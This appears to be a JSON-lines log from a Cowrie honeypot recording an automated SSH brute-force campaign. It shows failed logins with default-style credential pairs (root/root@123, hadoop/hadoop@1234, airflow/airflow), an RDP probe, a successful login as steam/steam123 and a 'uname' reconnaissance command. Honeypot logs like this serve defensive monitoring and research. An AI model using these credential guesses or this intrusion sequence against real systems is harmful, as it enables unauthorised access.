{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:39.126747Z","src_ip":"192.109.200.237","session":"1373c97b29b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:39.375015Z","src_ip":"192.109.200.237","session":"1373c97b29b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:40.460790Z","src_ip":"192.109.200.237","session":"1373c97b29b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43670,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb148a5dcb71","protocol":"ssh","message":"New connection: 192.109.200.237:43670 (159.203.135.109:22) [session: bb148a5dcb71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:42.287076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:42.377408Z","src_ip":"192.109.200.237","session":"bb148a5dcb71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:42.382390Z","src_ip":"192.109.200.237","session":"bb148a5dcb71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:42.732574Z","src_ip":"192.109.200.237","session":"bb148a5dcb71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:43.818170Z","src_ip":"192.109.200.237","session":"bb148a5dcb71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43680,"dst_ip":"159.203.135.109","dst_port":22,"session":"7edd4fa9e3fb","protocol":"ssh","message":"New connection: 192.109.200.237:43680 (159.203.135.109:22) [session: 7edd4fa9e3fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:45.612750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:45.618162Z","src_ip":"192.109.200.237","session":"7edd4fa9e3fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:45.700577Z","src_ip":"192.109.200.237","session":"7edd4fa9e3fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:45.948703Z","src_ip":"192.109.200.237","session":"7edd4fa9e3fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:47.097733Z","src_ip":"192.109.200.237","session":"7edd4fa9e3fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43704,"dst_ip":"159.203.135.109","dst_port":22,"session":"63ddf1a2f625","protocol":"ssh","message":"New connection: 192.109.200.237:43704 (159.203.135.109:22) [session: 63ddf1a2f625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:48.785038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:48.789912Z","src_ip":"192.109.200.237","session":"63ddf1a2f625","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:48.874123Z","src_ip":"192.109.200.237","session":"63ddf1a2f625","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop@1234","message":"login attempt [hadoop/hadoop@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:49.123335Z","src_ip":"192.109.200.237","session":"63ddf1a2f625","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:50.209325Z","src_ip":"192.109.200.237","session":"63ddf1a2f625","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36172,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc527206f456","protocol":"ssh","message":"New connection: 192.109.200.237:36172 (159.203.135.109:22) [session: dc527206f456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:51.934475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:51.939525Z","src_ip":"192.109.200.237","session":"dc527206f456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:52.022431Z","src_ip":"192.109.200.237","session":"dc527206f456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:52.408137Z","src_ip":"192.109.200.237","session":"dc527206f456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:53.492548Z","src_ip":"192.109.200.237","session":"dc527206f456","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":60518,"dst_ip":"159.203.135.109","dst_port":22,"session":"b099972f0c07","protocol":"ssh","message":"New connection: 152.42.212.128:60518 (159.203.135.109:22) [session: b099972f0c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:54.018101Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:54.023910Z","src_ip":"152.42.212.128","session":"b099972f0c07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:54.027919Z","src_ip":"152.42.212.128","session":"b099972f0c07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55692,"dst_ip":"10.17.0.5","dst_port":23,"session":"91930cd2f31e","protocol":"telnet","message":"New connection: 152.42.224.71:55692 (10.17.0.5:23) [session: 91930cd2f31e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:54.200269Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36174,"dst_ip":"159.203.135.109","dst_port":22,"session":"42b34354d205","protocol":"ssh","message":"New connection: 192.109.200.237:36174 (159.203.135.109:22) [session: 42b34354d205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:55.167753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:55.174102Z","src_ip":"192.109.200.237","session":"42b34354d205","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:55.264387Z","src_ip":"192.109.200.237","session":"42b34354d205","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gbase","password":"gbase","message":"login attempt [gbase/gbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:55.511861Z","src_ip":"192.109.200.237","session":"42b34354d205","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59608,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c7043776812","protocol":"telnet","message":"New connection: 152.42.224.71:59608 (10.17.0.5:23) [session: 7c7043776812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:56.097402Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:56.601370Z","src_ip":"192.109.200.237","session":"42b34354d205","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36184,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1f8cdade1ac","protocol":"ssh","message":"New connection: 192.109.200.237:36184 (159.203.135.109:22) [session: f1f8cdade1ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:58.171524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:58.176076Z","src_ip":"192.109.200.237","session":"f1f8cdade1ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:58.257878Z","src_ip":"192.109.200.237","session":"f1f8cdade1ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1111","message":"login attempt [user1/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:58.503404Z","src_ip":"192.109.200.237","session":"f1f8cdade1ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:59.588423Z","src_ip":"192.109.200.237","session":"f1f8cdade1ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47536,"dst_ip":"159.203.135.109","dst_port":22,"session":"b74ba920b3aa","protocol":"ssh","message":"New connection: 192.109.200.237:47536 (159.203.135.109:22) [session: b74ba920b3aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:01.315347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:01.321172Z","src_ip":"192.109.200.237","session":"b74ba920b3aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:01.407223Z","src_ip":"192.109.200.237","session":"b74ba920b3aa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:01.661493Z","src_ip":"192.109.200.237","session":"b74ba920b3aa","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:01.903775Z","src_ip":"192.109.200.237","session":"b74ba920b3aa","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:01.908306Z","src_ip":"192.109.200.237","session":"b74ba920b3aa","protocol":"ssh"}
